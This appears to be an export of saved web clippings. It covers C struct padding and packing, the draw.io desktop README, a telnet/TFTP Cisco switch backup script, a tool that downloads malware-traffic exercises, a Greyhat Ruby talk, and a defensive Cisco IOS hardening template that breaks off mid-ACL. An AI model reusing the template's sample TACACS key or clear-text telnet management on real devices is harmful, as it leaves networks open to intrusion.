    long x;      /* 8 bytes */
    char c;      /* 1 byte
[/code]

Usually, for the small number of scalar variables in your C programs, bumming
out the few bytes you can get by changing the order of declaration won’t save
you enough to be significant**.** The technique becomes more interesting when
applied to nonscalar variables - especially structs**.**

Before we get to those, let’s dispose of arrays of scalars**.** On a platform
with self-aligned types, arrays of char/short/int/long/pointer have no
internal padding; each member is automatically self-aligned at the end of the
next one**.**

In the next section we will see that the same is **not** necessarily true of
structure arrays**.**

## 5**.** Structure alignment and padding****

In general, a struct instance will have the alignment of its widest scalar
member**.** Compilers do this as the easiest way to ensure that all the
members are self-aligned for fast access**.**

Also, in C the address of a struct is the same as the address of its first
member - there is no leading padding**.** Beware: in C++, classes that look
like structs may break this rule**\!** \(Whether they do or not depends on how
base classes and virtual member functions are implemented, and varies by
compiler**.**\)

\(When you’re in doubt about this sort of thing, ANSI C provides an
offsetof\(\) macro which can be used to read out structure member
offsets**.**\)

Consider this struct:

[code]

    struct foo1 {
        char *p;
        char c;
        long x;
    };
[/code]

Assuming a 64-bit machine, any instance of `struct foo1` will have 8-byte
alignment**.** The memory layout of one of these looks unsurprising, like
this:

[code]

    struct foo1 {
        char *p;     /* 8 bytes */
        char c;      /* 1 byte
        char pad[7]; /* 7 bytes */
        long x;      /* 8 bytes */
    };
[/code]

It’s laid out exactly as though variables of these types has been separately
declared**.** But if we put `c` first, that’s no longer true**.**

[code]

    struct foo2 {
        char c;      /* 1 byte */
        char pad[7]; /* 7 bytes */
        char *p;     /* 8 bytes */
        long x;      /* 8 bytes */
    };
[/code]

If the members were separate variables, `c` could start at any byte boundary
and the size of `pad` might vary**.** Because `struct foo2` has the pointer
alignment of its widest member, that’s no longer possible**.** Now `c` has to
be pointer-aligned, and following padding of 7 bytes is locked in**.**

Now let’s talk about trailing padding on structures**.** To explain this, I
need to introduce a basic concept which I’ll call the _stride address_ of a
structure**.** It is the first address following the structure data that has
the **same alignment as the structure****.**

The general rule of trailing structure padding is this: the compiler will
behave as though the structure has trailing padding out to its stride
address**.** This rule controls what `sizeof()` will return**.**

Consider this example on a 64-bit x86 or ARM machine:

[code]

    struct foo3 {
        char *p;     /* 8 bytes */
        char c;      /* 1 byte */
    };
    
    struct foo3 singleton;
    struct foo3 quad[4];
[/code]

You might think that `sizeof(struct foo3)` should be 9, but it’s actually
16**.** The stride address is that of `(&p)[2]`**.** Thus, in the `quad`
array, each member has 7 bytes of trailing padding, because the first member
of each following struct wants to be self-aligned on an 8-byte boundary**.**
The memory layout is as though the structure had been declared like this:

[code]

    struct foo3 {
        char *p;     /* 8 bytes */
        char c;      /* 1 byte */
        char pad[7];
    };
[/code]

For contrast, consider the following example:

[code]

    struct foo4 {
        short s;     /* 2 bytes */
        char c;      /* 1 byte */
    };
[/code]

Because `s` only needs to be 2-byte aligned, the stride address is just one
byte after `c`, and `struct foo4` as a whole only needs one byte of trailing
padding**.** It will be laid out like this:

[code]

    struct foo4 {
        short s;     /* 2 bytes */
        char c;      /* 1 byte */
        char pad[1];
    };
[/code]

and `sizeof(struct foo4)` will return 4**.**

Now let’s consider bitfields. What they give you the ability to do is declare
structure fields of smaller than character width, down to 1 bit, like this:

[code]

    struct foo5 {
        short s;
        char c;
        int flip:1;
        int nybble:4;
        int septet:7;
    };
[/code]

The thing to know about bitfields is that they are implemented with word- and
byte-level mask and rotate instructions**.** From the compiler’s point of
view, the bitfields in `struct foo5` look like a two-byte, 16-bit character
array with only 12 bits in use**.** That in turn is followed by padding to
make the byte length of the structure a multiple of `sizeof(short)`, the size
of the longest member**.**

[code]

    struct foo5 {
        short s;       /* 2 bytes */
        char c;        /* 1 byte */
        int flip:1;    /* total 1 bit */
        int nybble:4;  /* total 5 bits */
        int septet:7;  /* total 12 bits */
        int pad1:4;    /* total 16 bits = 2 bytes */
        char pad2;     /* 1 byte */
    };
[/code]

Here’s a last important detail: If your structure has structure members, the
inner structs want to have the alignment of longest scalar too**.** Suppose
you write this:

[code]

    struct foo6 {
        char c;
        struct foo5 {
            char *p;
            short x;
        } inner;
    };
[/code]

The `char *p` member in the inner struct forces the outer struct to be
pointer-aligned as well as the inner**.** Actual layout will be like this on a
64-bit machine:

[code]

    struct foo6 {
        char c;           /* 1 byte*/
        char pad1[7];     /* 7 bytes */
        struct foo6_inner {
            char *p;      /* 8 bytes */
            short x;      /* 2 bytes */
            char pad2[6]; /* 6 bytes */
        } inner;
    };
[/code]

This structure gives us a hint of the savings that might be possible from
repacking structures**.** Of 24 bytes, 13 of them are padding. That’s more
than 50% waste space\!

## 6**.** Structure reordering****

Now that you know how and why compilers insert padding in and after your
structures we’ll examine what you can do to squeeze out the slop**.** This is
the art of structure packing**.**

The first thing to notice is that slop only happens in two places**.** One is
where storage bound to a larger data type \(with stricter alignment
requirements\) follows storage bound to a smaller one**.** The other is where
a struct naturally ends before its stride address, requiring padding so the
next one will be properly aligned**.**

The simplest way to eliminate slop is to reorder the structure members by
decreasing alignment**.** That is: make all the pointer-aligned subfields come
first, because on a 64-bit machine they will be 8 bytes**.** Then the 4-byte
ints; then the 2-byte shorts; then the character fields**.**

So, for example, consider this simple linked-list structure:

[code]

    struct foo7 {
        char c;
        struct foo7 *p;
        short x;
    };
[/code]

With the implied slop made explicit, here it is:

[code]

    struct foo7 {
        char c;         /* 1 byte */
        char pad1[7];   /* 7 bytes */
        struct foo7 *p; /* 8 bytes */
        short x;        /* 2 bytes */
        char pad2[6];   /* 6 bytes */
    };
[/code]

That’s 24 bytes**.** If we reorder by size, we get this:

[code]

    struct foo8 {
        struct foo8 *p;
        short x;
        char c;
    };
[/code]

Considering self-alignment, we see that none of the data fields need
padding**.** This is because the stride address for a \(longer\) field with
stricter alignment is always a validly-aligned start address for a \(shorter\)
field with less strict requirements**.** All the repacked struct actually
requires is trailing padding:

[code]

    struct foo8 {
        struct foo8 *p; /* 8 bytes */
        short x;        /* 2 bytes */
        char c;         /* 1 byte */
        char pad[5];    /* 5 bytes */
    };
[/code]

Our repack transformation drops the size to 16 bytes**.** This might not seem
like a lot, but suppose you have a linked list of 200K of these**?** The
savings add up**.**

Note that reordering is not guaranteed to produce savings**.** Applying this
technique to an earlier example, `struct foo6`, we get this:

[code]

    struct foo9 {
        struct foo9_inner {
            char *p;      /* 8 bytes */
            int x;        /* 4 bytes */
        } inner;
        char c;           /* 1 byte*/
    };
[/code]

With padding written out, this is

[code]

    struct foo9 {
        struct foo9_inner {
            char *p;      /* 8 bytes */
            int x;        /* 4 bytes */
            char pad[4];  /* 4 bytes */
        } inner;
        char c;           /* 1 byte*/
        char pad[7];      /* 7 bytes */
    };
[/code]

It’s still 24 bytes because `c` cannot back into the inner struct’s trailing
padding**.** To collect that gain you would need to redesign your data
structures**.**

## 7**.** Other packing techniques****

Reordering works best when combined with other techniques for slimming your
structures**.** If you have several boolean flags in a struct, for example,
consider reducing them to 1-bit bitfields and packing them into a place in the
structure that would otherwise be slop**.**

You’ll take a small access-time penalty for this - but if it squeezes the
working set enough smaller, that penalty will be swamped by your gains from
avoided cache misses**.**

More generally, look for ways to shorten data field sizes**.** In cvs-fast-
export, for example, one squeeze I applied was to use the knowledge that RCS
and CVS repositories didn’t exist before 1982**.** I dropped a 64-bit Unix
`time_t` \(zero date at the beginning of 1970\) for a 32-bit time offset from
1982-01-01T00:00:00; this will cover dates to 2118**.**

Each such field shortening not only decreases the explicit size of your
structure, it may remove slop and/or create additional opportunities for gains
from field reordering**.** Virtuous cascades of such effects are not very hard
to trigger**.**

The riskiest form of packing is to use unions**.** If you know that certain
fields in your structure are never used in combination with certain other
fields, consider using a union to make them share storage**.** But be extra
careful and verify your work with regression testing, because if your lifetime
analysis is even slightly wrong you will get bugs ranging from crashes to
\(much worse\) subtle data corruption**.**

## 8**.** Proof and exceptional cases****

You can download sourcecode for a little program that demonstrates the
assertions about scalar and structure sizes made above**.** It is
packtest**.** c .

If you look through enough strange combinations of compilers, options, and
unusual hardware, you will find exceptions to some of the rules I have
described**.** They get more common as you go back in time to older processor
designs**.**

The next level beyond knowing these rules is knowing how and when to expect
that they will be broken**.** In the years when I learned them \(the early
1980s\) we spoke of people who didn’t get this as victims of "all-the-
world’s-a-VAX syndrome"**.** Remember that not all the world is a PC.

## 9\. Version history****

1**.** 2 @ 2014-01-02

     Correct an erroneous address calculation**.**
1**.** 1 @ 2014-01-01

     Explain why aligned accesses are faster**.** Mention offsetof**.** Various minor fixes, including the packtest.c download link**.**
1.0 @ 2014-01-01

     Initial release**.**
****

# jgraph/drawio-desktop

**Created:**| _9/4/2017 9:28:09 AM_  
---|---  
**Updated:**| _9/4/2017 9:28:09 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# drawio-desktop

draw.io desktop app based on Electron

<img
src='img/68747470733a2f2f7472617669732d63692e6f72672f6a67726170682f64726177696f2d6465736b746f702e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' />

<img
src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f65353677647373756b717577653762763f7376673d74727565'
width='106' height='20' alt='Build status' />

To run this:

  1. npm install \(in the root directory of this repo\)
  2. export NODE\_ENV=development
  3. npm start

To release:

  1. Update the draw.io sub-module and push the change
  2. Wait for the builds to complete \(https://travis-ci.org/jgraph/drawio-desktop and https://ci.appveyor.com/project/davidjgraph/drawio-desktop\)
  3. Go to https://github.com/jgraph/drawio-desktop/releases, edit the preview release and publish it.

  

# Script to backup Cisco switches via telnet / tftp | Peter Van Eeckhoutte´s Blog
**Created:**| _12/28/2009 10:16:53 PM_  
---|---  
**Updated:**| _12/28/2009 10:17:03 PM_  
**Author:**| __  
**Tags:**| _bookmark cisco_  
  

A couple of days ago, I have released a small perl script to back up Cisco IOS
based switches via telnet.

I know there are a couple of similar scripts available on the internet, but
most of them either use the “expect” functionality \(which does not work all
the time\), or use SendKeys \(which only works when the application has the
‘focus’, and thus cannot be safely scripted.\), or are commercial tools.

So I decided to write a quick and dirty \(free\) script myself, which is
purely based on a basic tcp socket connection.

I know, this script only works with telnet \(clear text\), but at least you
can backup your switches \(and if you have a dedicated management network, it
may be ok to use telnet after all\). Furthermore, you can safely schedule the
script to run in the background, lean back, and enjoy other things …

The script will simply connect to each host in a given text file, log in, and
send the configuration + the vlan configuration to a remote tftp server.

You can read more about this script \(and download the script / a precompiled
binary\) at http://www.corelan.be:8800/index.php/my-free-
tools/networking/cisco-switch-backup-utility/

© 2009, Peter Van Eeckhoutte. **All rights reserved. Terms of Use are
applicable to all content on this blog.**  _If you want to use/reuse parts of
the content on this blog, you must provide a link to the original content on
this blog._

# MalwareReverseBrasil/maltran

**Created:**| _6/29/2017 3:47:54 PM_  
---|---  
**Updated:**| _6/29/2017 3:47:54 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# **maltran** \- A command line tool to download malware exercises from
malware-traffic-analysis.net

This tool was developed with the purpose of furthering and organizing access
to **Malware-Traffic-Analysis** exercises. Maltran makes it easy to list and
download exercises in a simple and organized way.

## __Install

[code]

    $ git clone github.com/MalwareReverseBrasil/maltran.git
    	$ cd maltran
    		$ sudo apt install python3-pip
    			$ pip3 install -r requirements.txt
    
[/code]

## __Usage

[code]

    $ python3 maltran.py
    
[/code]

<img
src='img/68747470733a2f2f696d6167652e70726e747363722e636f6d2f696d6167652f6c5a5879746e677654557531594573693359624f59672e6a7067.jpg'
width='888' height='464' alt='output example' />

> __**Developers:**
>   * **Vandré Augusto,** Electric Engineer & Malware Researcher - blog
>   * **Ialle Teixeira,** Security/Malware Researcher - blog
>

  

# Greyhat Ruby \(Source Boston\) « Don't Stuff Beans Up Your Nose

**Created:**| _5/1/2011 10:02:43 AM_  
---|---  
**Updated:**| _5/1/2011 10:02:43 AM_  
**Author:**| __  
**Tags:**| _ruby reversing_  
  

# Greyhat Ruby \(Source Boston\)

_Posted on April 27, 2011_ by _s7ephen_

6

  

<img src='img/Temp2_3529.png' width='594' height='250' alt='ghr_icon' />

  

In 2011, I \(Stephen A. Ridley\) don’t plan on attending too many conferences
that require far away travel for many reasons. 1\) My work isn’t as
interesting anymore ;-\( and 2\) I can’t travel as easily with Sammiches. With
Boston being in the northeast \(close to us\) we decided we’d try SourceBoston
out for the first time. We’ve known the conference organizers from past
meetings and conferences, but this is the first time we’d ever attended any of
the Source conferences.

<img src='img/Temp2_3530.png' width='207' height='300' />

SourceBoston was held at the \(dog friendly <img src='img/Temp2_3531.png'
alt=':-)' /> Boston Seaport Hotel, a surprisingly fancy venue that was on the
waterfront and adjacent to The World Trade Center of Boston. Unlike many
Infosec conferences we’ve attended, SourceBoston did a good job of
intermingling “suits” with “grunts”. In other words, the attendees and
speakers hailed from many different levels in their organizations \(with a
healthy sprinkling of academic types mixed in\). There was also quality
representation from the different niches in the Information Security community
\(from “hardware hacking” to “management and policy”\). In short, its a cool
little conference.

My talk at Source Boston 2011 was entitled “GreyHat Ruby”. The talk was on the
many ways that a devout Python coder has come to find Ruby very useful for
Information Security work. Here is a bullet list from a section of the
presentation entitled “12 Good Reasons for C/C++/Python coders” \(see
examples/comparisons/screenshots in the slides\!\):

  1. Ruby has an equally useful Interactive Interpreter.
  2. Ruby has “real” case/switch statements
  3. Ruby has C style ternary statements
  4. Ruby has “public” and “private” namespaces
  5. Ruby \(like C++ and Java\) let’s you define classes in “piecemeal” \(split that class def across files\!\).
  6. Ruby has a “container” class called “module” that act as namespace “directories” letting **you** arrange things as you see fit.
  7. Ruby doesn’t automatically make a namespace entry for an “included” file.
  8. Ruby has better “sprintf” functionality.
  9. Ruby has strong OOP paradigm and convenient “getter/setter” syntax.
  10. You can modify Ruby Class definitions “on the fly” without cumbersome “get\_attr”/”set\_attr”.
  11. Ruby is a “functional” programming language. It has “blocks” and “anonymous functions” \(not kludgy lambdas\).
  12. Lots of other neat things like send\(\) and \_\_END\_\_.

After that list, I dive into some of the specific things useful for
Information Security professionals:

  1. Accessing “foreign” functions: getting your Ruby code to call into DLLs and shared objects.
  2. Existing pure ruby process debuggers and hit-tracers
  3. Using JRuby to talk to Java RMI services
  4. Ruby and IDA
  5. Build quick user-friendly CLIs \(like Python’s Cmd module\).
  6. Plugging Ruby into Burp
  7. Using Ruby’s Win32OLE/Win32API/RubyDL to “script” mouse clicks and keyboard actions on Windows via User32. \(demo video here\)

  * Complete browser automation \(Firefox, IE, Safari\) allowing you to “script” user interaction with the browser. \(Web pen-testing, QA, or fuzzing\!\)
  * Writing distributed code with Drb and Rinda. \(Don’t bother with socket code. Or, build a distributed fuzz farm\!\)
  * Using Ruby to create “Domain Specific Languages” for your tasks \(like fuzzing <img src='img/Temp2_3532.png' alt=';-)' /> .

### That’s it in a nutshell, if you want to see more detail:

# Secure IOS Template v6.5 19 MAY 2014 noc@cymru.com

**Created:**| _8/12/2014 2:48:48 PM_  
---|---  
**Updated:**| _8/12/2014 2:48:48 PM_  
**Author:**| __  
**Tags:**| _cisco config-mgmt_  
  

#  Secure IOS Template Version 6.5 19 MAY 2014

###  By Team Cymru, noc at cymru.com

\[ Documents \] \[ Home \]

<img src='img/Temp2_7284.gif' />

## Introduction

One of the challenges of any network is how to mitigate, if not deny, the
various attacks launched daily on the Internet. While blocking the script
kiddies and their attempts to gain root or scan a subnet is one challenge, a
greater challenge has been to mitigate the DDoS attacks. While nothing is
foolproof, layers of protection can be applied to the problem.

Taking a holistic view of the challenge led to the creation of the layered
approach. In this approach, the following philosophies are applied:

  1. The border router provides for protocol protection and defends itself and the firewall. 
  2. The firewall provides port protection and defends itself and the host residing behind it. 
  3. The end stations are configured to survive various DOS attacks as well as to reduce the number of noxious services which might be exploited. 

This results in the "funnel effect," wherein progressively less nasty traffic
comes through the overall pipe. The network is "crunchy through and through,"
not just at the edges.

A brief aside - If you are interested in tuning your UNIX systems to provide
additional defense against myriad attack types, please peruse my **UNIX IP
Stack Tuning Guide**.

The purpose of this document is to introduce the first wall of defense, the
router. The attached template provides a work in progress towards the goal of
a secure border device. This template does not cover router or routing
protocol basics, and only lightly touches on the topic of router performance
tuning \(e.g. using the loopback device instead of the null device for black
hole routes\). For more on router performance tuning tips, please see my
**Cisco Router Performance Tuning** document.

As an added bonus, George Jones has written a tool, **NCAT** , that will
validate Cisco router configurations. Using a template configuration, **NCAT**
will ensure that any router configuration adheres to the policies in the
template. I highly recommend this tool. You will find it at
**ncat.sourceforge.net**.

We no longer list the bogons in this template, so please look for detailed
bogon insight on our Bogon List.

Barry Greene and Philip Smith, both formerly of Cisco, have published a book
entitled _Cisco ISP Essentials_. This is an excellent collection of clue. You
can learn more about it at www.ispbook.com.

Cisco maintains a nice collection of security documents here.

## Credits

I truly appreciate the suggestions, bug reports, and thoughtful discourse
provided by these folks. Thank you\!

    Bruce Babcock 
    Alison Gudgeon 
    Paul Jacobs 
    Deepak Jain 
    George Jones 
    Christian Koch 
    Mark Kent 
    Thomas Kernen 
    John Kristoff 
    Christopher Morrow 
    Hank Nussbacher 
    Johan van Reijenda 
    Ken Reiss 
    Rafi Sadowsky 
    Steve Snodgrass 
    Alfredo Sola 
    David Wolsefer 
    And, of course, the **FIRST** community. 
## Overview

The Cisco Secure IOS Configuration Template is simply a template, or a
starting point. Individual sites will need to modify the template to varying
degrees. For example, the template does not include any routing protocol
information. This would make the template far too large and specific. Although
one could argue that a BGP configuration would meet the needs of a great many
border routers, it was decided to shelve that piece for another template. You
may wish to peruse my **Secure Cisco BGP Configuration Template** to assist
you in securing your BGP configuration. As with all templates, your mileage
may vary.

The template has undergone a trial by fire, protecting various sites. In one
case, a modified version of this template protects a site that endures upwards
of 10000 attacks per day. The template has weathered the storm well, although
not without some real time modification. As the instruments and methods of the
malcontents change, so do the attack styles. However, this template has yet to
fail, and the sites behind it have remained on-line throughout attacks of
moderate to great intensity.

Clearly, hardware counts. A 2501 with this template will not provide much in
the way of protection, and certain features of this template will not work on
the lower tier of Cisco routing products. The template was written with a
Cisco 7000 or greater model in mind.

This template is not a panacea. It will not stop all attack types. It is
simply a part of a larger design. Remember the layered approach.

## Decisions, Decisions

As noted, the template must be modified to fit the environment. Obviously such
things as IP addresses and routes must be changed. How ever, there are other
decisions to be made. The IP address of the FTP, TACACS+, and syslog servers
must be noted, for example.

Enabling the anti-spoofing feature of CEF \(reverse-path\) is another thorny
issue for those with the potential for asymmetric data flows. In this case,
ACLs should be used for anti-spoofing protection. Both options are provided in
the template.

Determining the proper CAR limits for multicast, ICMP, and UDP is quite site
specific. While some defaults have been placed in the configuration, it is
best to size the pipe and modify the limits accordingly. It is difficult to
model a situation where ICMP should be allowed more than 575Kb/s of bandwidth,
however your mileage may vary.

## Caveats

As with all things, **test test test**. Do not deploy a configuration without
thoroughly testing it in a non-production environment. If you do not
understand the commands or the accompanying comments, do not utilize them. You
may find yourself in a sticky debugging session at some point, so complete
understanding of the configuration is highly recommended.

**This template WILL NOT WORK without modification to suit your gear and
topology\!**

## Question, Comments, Suggestions

This is a work in progress, and feedback from those who use the template, have
their own bag of tricks, or endure malicious attacks is most welcome\! If you
have questions, I will do my best to answer them and assist you. Please route
all commentary and questions to noc@cymru.com.

I hope you find this helpful in your effort to fend off the Internet vandals\!

## Template

The commands are in **BOLD** text so that they stand out from the surrounding
comments.

\! Secure router configuration template.  
\! Version 6.5  
\! @\(\#\)Secure IOS template v6.5 19 MAY 2014 Team Cymru noc@cymru.com  
\! @\(\#\)https://www.cymru.com/Documents/secure-ios-template-65.html  
\!  
\! This configuration assumes the following topology:  
\!  
\! **Upstream/Internet**  
\! 192.0.2.1/28  
\!**|**  
\! 192.0.2.14/28 \(Ethernet 2/0\)  
\! **THIS ROUTER**  
\! 192.0.2.17/28 \(Ethernet 2/1\)  
\! |  
\! 192.0.2.30/28  
\! **Firewall**  
\! 192.0.2.33/27  
\! |  
\! 192.0.2.32/27  
\! **Intranet**  
\!  
\! In this case, 192.0.2.34 is the loghost, FTP server, etc.  
\! for the router. It could also be the firewall if  
\! circumstances dictate.  
\!  
**service nagle  
** **service tcp-keepalives-in  
** **service tcp-keepalives-out  
** \!  
\! Show copious timestamps in our logs  
**service timestamps debug datetime msec show-timezone localtime  
** **service timestamps log datetime msec show-timezone localtime  
** \! Ensures all passwords and secrets are obfuscated when looking at  
\! configuration files  
**service password-encryption  
** **no service dhcp  
** \!  
**hostname secure-router01  
** \!  
**boot system flash slot0:rsp-pv-mz.121-5a.bin  
** **logging buffered 16384 debugging  
** **no logging console  
** \! The keyword 'secret' ensures MD5 is used when 'service password  
\! encryption' is used \(above.\) The keyword 'password' uses a mechanism  
\! which is simple to reverse-engineer and should be avoided  
**enable secret <PASSWORD>  
** **no enable password  
** \!  
\! Use TACACS+ for AAA. Ensure that the local account is  
\! case-sensitive, thus making brute-force attacks less  
\! effective.  
**aaa new-model  
** **aaa authentication login default group tacacs+ local-case  
** **aaa authentication enable default group tacacs+ enable  
** **aaa authorization commands 15 default group tacacs+ local  
** **aaa accounting exec default stop-only group tacacs+  
** **aaa accounting commands 15 default stop-only group tacacs+  
** **aaa accounting network default stop-only group tacacs+  
** **tacacs-server host 192.0.2.34  
** **tacacs-server key cheezit  
** \!  
\! In the event that TACACS+ fails, use case-sensitve local  
\! authentication instead. Keeps the hackers guessing, and  
\! the router more secure.  
**username <USERNAME> secret <PASSWORD>  
** \!  
\! Logging the commands run while at enable level access is  
\! a great way to track mistakes, security issues, etc.  
**archive**  
**log config**  
**logging enable**  
**logging size 500**  
**notify syslog**  
**hidekeys**  
\!  
\! Ensure TCL doesn't use an initilizaion file where available. This won't
show up in the  
\! config. It will break your router-based TCL scripts if  
\! if you use such, so use with care\!  
**no scripting tcl init**  
**no scripting tcl encdir**  
\!  
\! Enable the netflow top talkers feature.  
\! You can see the top N talkers \(50 in this example\) with the  
\! **show ip flow top-talkers** command. This is a handy  
\! utility to use during DDoS attacks and traffic issues. You  
\! can **sort-by** either **packets** or **bytes** , as you prefer.  
**ip flow-top-talkers**  
**top 50**  
**sort-by packets**  
\!  
\! Don't run the HTTP server.  
**no ip http server  
** **no ip http secure-server  
** \!  
\! Allow us to use the low subnet and go classless  
**ip subnet-zero  
** **ip classless  
** \!  
\! Disable noxious services  
**no service pad  
** **no ip source-route  
** **no ip finger  
** **no ip bootp server  
** **no ip domain-lookup  
** \!  
\! Block brute force login attempts while maintaining access for legitimate
source addresses.  
\!
http://www.cisco.com/en/US/docs/ios/sec\_user\_services/configuration/guide/sec\_login\_enhance\_ps6922\_TSD\_Products\_Configuration\_Guide\_Chapter.html  
\! This is in theory unnecessary if VTY ACLs are in place, yet things happen
and this adds the  
\! "belt" to the VTY ACL "suspenders."  
\! Note carefully the use of ACL 100 in the login quiet-mode statement. This
ensures our  
\! legitimate administrator addresses can still reach the router even after a
vigorous  
\! bruteforce or attack attempt.  
**login block-for 100 attempts 15 within 100  
** **login quiet-mode access-class 100  
** **login on-failure log  
** **login on-success log  
** \!  
\! Catch crash dumps; very important with a "security router."  
**ip ftp username rooter  
** **ip ftp password <PASSWORD>  
** \! Give our core dump files a unique name.  
**exception core-file secure-router01-core  
** **exception protocol ftp  
** **exception dump 192.0.2.34  
** \!  
\! Fire up CEF for both performance and security.  
**ip cef  
** \!  
\! Set the timezone properly. It is best to standardize on one  
\! timezone for all routers, thus making problem tracking easier.  
**clock timezone GMT 0  
** \! Synchronize our clocks with a local \(trusted and authenticated\)  
\! NTP server. The SECRETKEY must be the same on both the router  
\! and the NTP server.  
**ntp authentication-key 6767 md5 <SECRETKEY>  
** **ntp authenticate  
** **ntp update-calendar  
** **ntp server 192.0.2.34  
** \!  
\! Configure the loopback0 interface as the source of our log  
\! messages. This is often used for routing protocols as well.  
\! Select an IP address that uniquely identifies this router.  
\! One trick is to allocate a netblock for use as the router  
\! loopback netblock.  
**int loopback0  
** **ip address 10.10.10.10 255.255.255.255  
** **no ip redirects  
** **no ip unreachables  
** **no ip proxy-arp  
** \!  
\! Configure null0 as a place to send naughty packets. This  
\! becomes the "roach motel" for packets -- they can route in,  
\! but they can't route out.  
**interface null0  
** **no ip unreachables  
** \!  
**interface Ethernet2/0  
** **description Unprotected interface, facing towards Internet  
** **ip address 192.0.2.14 255.255.255.240  
** \! Do we run CEF verify? Yes if the data path is symmetric. No  
\! if the data path is asymmetric.  
**ip verify unicast reverse-path  
** \! Apply our template ACL  
**ip access-group 2010 in  
** \! Allow UDP to occupy no more than 2 Mb/s of the pipe.  
**rate-limit input access-group 150 2010000 250000 250000 conform-action
transmit exceed-action drop  
** \! Allow ICMP to occupy no more than 500 Kb/s of the pipe.  
**rate-limit input access-group 160 500000 62500 62500 conform-action transmit
exceed-action drop  
** \! Allow multicast to occupy no more than 5 Mb/s of the pipe.  
**rate-limit input access-group 170 5000000 375000 375000 conform-action
transmit exceed-action drop  
** \! Don't send redirects.  
**no ip redirects  
** \! Don't send unreachables.  
\! NOTE WELL that this may break PMTU discovery.  
\! For example, if this router is edge for a VPN of any sort, you might need  
\! to enable ip unreachables  
\! A typical symptom is ping working but a larger transmission doesn't.  
**no ip unreachables  
** \! Don't propogate smurf attacks.  
**no ip directed-broadcast  
** \! Don't pretend to be something you're not. :-\)  
**no ip proxy-arp  
** \! Do not reveal our netmask  
**no ip mask-reply  
** \! Log all naughty business.  
**ip accounting access-violations  
** \! If you allow multicast in your network or participate in the  
\! MBONE, the following multicast filtering steps will help to  
\! ensure a secure multicast environment. These must be applied  
\! per interface.  
**ip multicast boundary 30  
** \!  
\! Keep flow data for analysis. If possible, export it to a  
\! cflowd server.  
**ip route-cache flow  
** \! When you configure anything to do with ntp on an IOS box, it will start
listening on all  
\! interfaces. It is therefore a good idea that interfaces with public
addresses have ntp disabled  
\! and therefore don't show a socket, unless that is what the interface is
intended to do.  
**ntp disable  
** \! Disable Maintenance Operations Protocol on all interfaces  
**no mop enable  
** \!  
**interface Ethernet2/1  
** **description Protected interface, facing towards DMZ  
** **ip address 192.0.2.17 255.255.255.240  
** \! Do we run CEF verify? Yes if the data path is symmetric. No  
\! if the data path is asymmetric.  
**ip verify unicast reverse-path  
** \! If we are using RPF, comment out the ACL below.  
**ip access-group 115 in  
** **no ip redirects  
** **no ip unreachables  
** **no ip directed-broadcast  
** **no ip proxy-arp  
** **ip accounting access-violations  
** **ip multicast boundary 30  
** **no ip mask-reply  
** **ip route-cache flow  
** \! Disable Maintenance Operations Protocol on all interfaces  
**no mop enable  
** \!  
\! Default route to the Internet \(could be a routing  
\! protocol instead\)  
**ip route 0.0.0.0 0.0.0.0 192.0.2.1  
** \! Route to network on the other side of the firewall  
**ip route 192.0.2.32 255.255.255.224 192.0.2.30  
** \! Black hole routes. Do not combine this with TCP Intercept;  
\! in fact, don't use TCP Intercept at all.  
\!  
\! Bogons  
\! Team Cymru has removed all static bogon references from this template  
\! due to the high probability that the application of these bogon filters  
\! will be a one-time event. Unfortunately many of these templates are  
\! applied and never re-visited, despite our dire warnings that bogons do  
\! change.  
\!  
\! This doesn't mean bogon filtering can't be accomplished in an automated  
\! manner. Why not consider peering with our globally distributed bogon  
\! route-server project? Alternately you can obtain a current and well  
\! maintained bogon feed from our DNS and RADb services. Read more at the  
\! link below to learn how\!  
\!  
\! https://www.team-cymru.org/Services/Bogons/  
\!  
\! Export our NetFlow data to our NetFlow server, 192.0.2.34. NetFlow  
\! provides some statistics that can be of use when tracing the true  
\! source of a spoofed attack.  
**ip flow-export source loopback0  
** **ip flow-export destination 192.0.2.34 2055  
** **ip flow-export version 5 origin-as  
** \!  
\! Log anything interesting to the loghost. Capture all of  
\! the logging output with FACILITY LOCAL5.  
**logging trap debugging  
** **logging facility local5  
** **logging source-interface loopback0  
** **logging 192.0.2.34  
** \!  
\! With the ACLs, it is important to log the naughty folks.  
\! Thus, the implicit drop all ACL is replaced \(augmented,  
\! actually\) with an explicit drop all that logs the attempt.  
\! You may wish to keep a second list \(e.g. 2011\) that does not  
\! log. During an attack, the additional logging can impact the  
\! performance of the router. Simply copy and paste access-list 2010,  
\! remove the log-input keyword, and name it access-list 2011. Then  
\! when an attack rages, you can replace access-list 2010 on the  
\! Internet-facing interface with access-list 2011.  
\!  
\! Block SNMP access to all but the loghost  
**access-list 20 remark SNMP ACL  
** **access-list 20 permit 192.0.2.34  
** **access-list 20 deny any log  
** \!  
\! Multicast - filter out obviously naughty or needless traffic  
**access-list 30 remark Multicast filtering ACL  
** \! Link local  
**access-list 30 deny 224.0.0.0 0.0.0.255 log  
** \! Locally scoped  
**access-list 30 deny 239.0.0.0 0.255.255.255 log  
** \! sgi-dogfight  
**access-list 30 deny host 224.0.1.2 log  
** \! rwhod  
**access-list 30 deny host 224.0.1.3 log  
** \! ms-srvloc  
**access-list 30 deny host 224.0.1.22 log  
** \! ms-ds  
**access-list 30 deny host 224.0.1.24 log  
** \! ms-servloc-da  
**access-list 30 deny host 224.0.1.35 log  
** \! hp-device-disc  
**access-list 30 deny host 224.0.1.60 log  
** \! Permit all other multicast traffic  
**access-list 30 permit 224.0.0.0 15.255.255.255 log  
** \!  
\! Block access to all but the loghost and the firewall, and log any  
\! denied access attempts. This also serves to create an audit trail  
\! of all access to the router. Extended ACLs are used to log some  
\! additional data.  
**access-list 100 remark VTY Access ACL  
** **access-list 100 permit tcp host 192.0.2.34 host 0.0.0.0 range 22 23 log-
input  
** **access-list 100 permit tcp host 192.0.2.30 host 0.0.0.0 range 22 23 log-
input  
** **access-list 100 deny ip any any log-input  
** \!  
\! Leave one VTY safe for access, just in case. The host  
\! 192.0.2.40 is a secure host in the NOC. If all the VTYs are  
\! occupied, this leaves one VTY available.  
**access-list 105 remark VTY Access ACL  
** **access-list 105 permit tcp host 192.0.2.40 host 0.0.0.0 range 22 23 log-
input  
** **access-list 105 deny ip any any log-input  
** \!  
\! Configure an ACL that prevents spoofing from within our network.  
